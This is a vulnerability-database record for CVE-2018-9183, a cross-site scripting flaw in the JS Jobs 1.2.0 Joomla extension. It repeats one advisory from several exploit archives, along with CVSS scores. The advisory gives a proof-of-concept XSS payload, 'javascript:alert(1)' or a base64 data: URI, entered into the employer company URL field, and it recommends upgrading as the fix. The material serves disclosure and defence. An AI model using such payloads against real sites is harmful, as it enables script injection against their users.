{"lastseen": "2020-04-01T19:04:22", "references": [], "description": "\nJoomla! Component JS Jobs 1.2.0 - Cross-Site Scripting", "edition": 1, "reporter": "Sureshbabu Narvaneni", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2018-04-05T00:00:00", "title": "Joomla! Component JS Jobs 1.2.0 - Cross-Site Scripting", "type": "exploitpack", "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-9183"]}, {"type": "exploitdb", "idList": ["EDB-ID:44401"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:147062"]}, {"type": "zdt", "idList": ["1337DAY-ID-30120"]}], "modified": "2020-04-01T19:04:22", "rev": 2}, "score": {"value": 4.6, "vector": "NONE", "modified": "2020-04-01T19:04:22", "rev": 2}, "vulnersScore": 4.6}, "bulletinFamily": "exploit", "cvelist": ["CVE-2018-9183"], "modified": "2018-04-05T00:00:00", "id": "EXPLOITPACK:AB4487291E9BF358C4CBFC61BC6A3507", "href": "", "viewCount": 2, "sourceData": "#######################################\n# Exploit Title: Joomla! Component JS Jobs 1.2.0 - Cross Site Scripting\n# Google Dork: N/A\n# Date: 03-04-2018\n#######################################\n# Exploit Author: Sureshbabu Narvaneni#\n#######################################\n# Author Blog : http://nullnews.in\n# Vendor Homepage: https://www.joomsky.com/products/js-jobs.html\n# Software Link: https://www.joomsky.com/5/download/1.html\n# Affected Version: 1.2.0\n# Category: WebApps\n# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686\n# CVE : CVE-2018-9183\n#\n# 1. Vendor Description:\n#\n# JS Jobs offer to employer to register his company and post jobs. Job\nseeker register him self and add his resume.\n# He can search job and apply on it. Employer will get resume in applied\nresume section.\n#\n# 2. Technical Description:\n#\n# JS Jobs 1.2.0 is missing validation on URL inserted by attacker/employer\nwhile creating company entry.\n#\n# 3. Proof Of Concept:\n#\n# Create a company entry by logging in as Employer and paste below payload\nin place of URL field.\n#\n# Payload : javascript:alert(1) or\ndata:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\n#\n# 4. Solution:\n#\n# Upgrade to latest release.\n# http://www.joomsky.com/5/download/1.html\n#\n# 5. Reference:\n# https://vel.joomla.org/resolved/2146-js-jobs-1-2-0-xss-cross-site-scripting\n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9183\n#####################################", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}}

{"cve": [{"lastseen": "2020-12-09T20:25:47", "description": "The Joom Sky JS Jobs extension before 1.2.1 for Joomla! has XSS.", "edition": 6, "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 5.4, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 2.7}, "published": "2018-04-02T15:29:00", "title": "CVE-2018-9183", "type": "cve", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 3.5, "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-9183"], "modified": "2018-05-02T15:12:00", "cpe": [], "id": "CVE-2018-9183", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-9183", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}, "cpe23": []}], "zdt": [{"lastseen": "2018-04-14T15:50:46", "description": "Exploit for php platform in category web applications", "edition": 1, "published": "2018-04-05T00:00:00", "type": "zdt", "title": "Joomla JS Jobs 1.2.0 Component - Cross-Site Scripting Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-9183"], "modified": "2018-04-05T00:00:00", "href": "https://0day.today/exploit/description/30120", "id": "1337DAY-ID-30120", "sourceData": "#######################################\r\n# Exploit Title: Joomla! Component JS Jobs 1.2.0 - Cross Site Scripting\r\n#######################################\r\n# Exploit Author: Sureshbabu Narvaneni#\r\n#######################################\r\n# Author Blog : http://nullnews.in\r\n# Vendor Homepage: https://www.joomsky.com/products/js-jobs.html\r\n# Software Link: https://www.joomsky.com/5/download/1.html\r\n# Affected Version: 1.2.0\r\n# Category: WebApps\r\n# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686\r\n# CVE : CVE-2018-9183\r\n#\r\n# 1. Vendor Description:\r\n#\r\n# JS Jobs offer to employer to register his company and post jobs. Job\r\nseeker register him self and add his resume.\r\n# He can search job and apply on it. Employer will get resume in applied\r\nresume section.\r\n#\r\n# 2. Technical Description:\r\n#\r\n# JS Jobs 1.2.0 is missing validation on URL inserted by attacker/employer\r\nwhile creating company entry.\r\n#\r\n# 3. Proof Of Concept:\r\n#\r\n# Create a company entry by logging in as Employer and paste below payload\r\nin place of URL field.\r\n#\r\n# Payload : javascript:alert(1) or\r\ndata:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\r\n#\r\n# 4. Solution:\r\n#\r\n# Upgrade to latest release.\r\n# http://www.joomsky.com/5/download/1.html\r\n#\r\n# 5. Reference:\r\n# https://vel.joomla.org/resolved/2146-js-jobs-1-2-0-xss-cross-site-scripting\r\n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9183\r\n#####################################\n\n# 0day.today [2018-04-14] #", "sourceHref": "https://0day.today/exploit/30120", "cvss": {"score": 0.0, "vector": "NONE"}}], "exploitdb": [{"lastseen": "2018-05-24T14:12:16", "description": "Joomla! Component JS Jobs 1.2.0 - Cross-Site Scripting. CVE-2018-9183. Webapps exploit for PHP platform", "published": "2018-04-05T00:00:00", "type": "exploitdb", "title": "Joomla! Component JS Jobs 1.2.0 - Cross-Site Scripting", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-9183"], "modified": "2018-04-05T00:00:00", "id": "EDB-ID:44401", "href": "https://www.exploit-db.com/exploits/44401/", "sourceData": "#######################################\r\n# Exploit Title: Joomla! Component JS Jobs 1.2.0 - Cross Site Scripting\r\n# Google Dork: N/A\r\n# Date: 03-04-2018\r\n#######################################\r\n# Exploit Author: Sureshbabu Narvaneni#\r\n#######################################\r\n# Author Blog : http://nullnews.in\r\n# Vendor Homepage: https://www.joomsky.com/products/js-jobs.html\r\n# Software Link: https://www.joomsky.com/5/download/1.html\r\n# Affected Version: 1.2.0\r\n# Category: WebApps\r\n# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686\r\n# CVE : CVE-2018-9183\r\n#\r\n# 1. Vendor Description:\r\n#\r\n# JS Jobs offer to employer to register his company and post jobs. Job\r\nseeker register him self and add his resume.\r\n# He can search job and apply on it. Employer will get resume in applied\r\nresume section.\r\n#\r\n# 2. Technical Description:\r\n#\r\n# JS Jobs 1.2.0 is missing validation on URL inserted by attacker/employer\r\nwhile creating company entry.\r\n#\r\n# 3. Proof Of Concept:\r\n#\r\n# Create a company entry by logging in as Employer and paste below payload\r\nin place of URL field.\r\n#\r\n# Payload : javascript:alert(1) or\r\ndata:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\r\n#\r\n# 4. Solution:\r\n#\r\n# Upgrade to latest release.\r\n# http://www.joomsky.com/5/download/1.html\r\n#\r\n# 5. Reference:\r\n# https://vel.joomla.org/resolved/2146-js-jobs-1-2-0-xss-cross-site-scripting\r\n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9183\r\n#####################################", "cvss": {"score": 3.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:NONE/I:PARTIAL/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/44401/"}], "packetstorm": [{"lastseen": "2018-04-06T00:57:39", "description": "", "published": "2018-04-05T00:00:00", "type": "packetstorm", "title": "Joomla JS Jobs 1.2.0 Cross Site Scripting", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-9183"], "modified": "2018-04-05T00:00:00", "id": "PACKETSTORM:147062", "href": "https://packetstormsecurity.com/files/147062/Joomla-JS-Jobs-1.2.0-Cross-Site-Scripting.html", "sourceData": "`####################################### \n# Exploit Title: Joomla! Component JS Jobs 1.2.0 - Cross Site Scripting \n# Google Dork: N/A \n# Date: 03-04-2018 \n####################################### \n# Exploit Author: Sureshbabu Narvaneni# \n####################################### \n# Author Blog : http://nullnews.in \n# Vendor Homepage: https://www.joomsky.com/products/js-jobs.html \n# Software Link: https://www.joomsky.com/5/download/1.html \n# Affected Version: 1.2.0 \n# Category: WebApps \n# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686 \n# CVE : CVE-2018-9183 \n# \n# 1. Vendor Description: \n# \n# JS Jobs offer to employer to register his company and post jobs. Job \nseeker register him self and add his resume. \n# He can search job and apply on it. Employer will get resume in applied \nresume section. \n# \n# 2. Technical Description: \n# \n# JS Jobs 1.2.0 is missing validation on URL inserted by attacker/employer \nwhile creating company entry. \n# \n# 3. Proof Of Concept: \n# \n# Create a company entry by logging in as Employer and paste below payload \nin place of URL field. \n# \n# Payload : javascript:alert(1) or \ndata:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K \n# \n# 4. Solution: \n# \n# Upgrade to latest release. \n# http://www.joomsky.com/5/download/1.html \n# \n# 5. Reference: \n# https://vel.joomla.org/resolved/2146-js-jobs-1-2-0-xss-cross-site-scripting \n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9183 \n##################################### \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/147062/joomlajsjobs120-xss.txt"}]}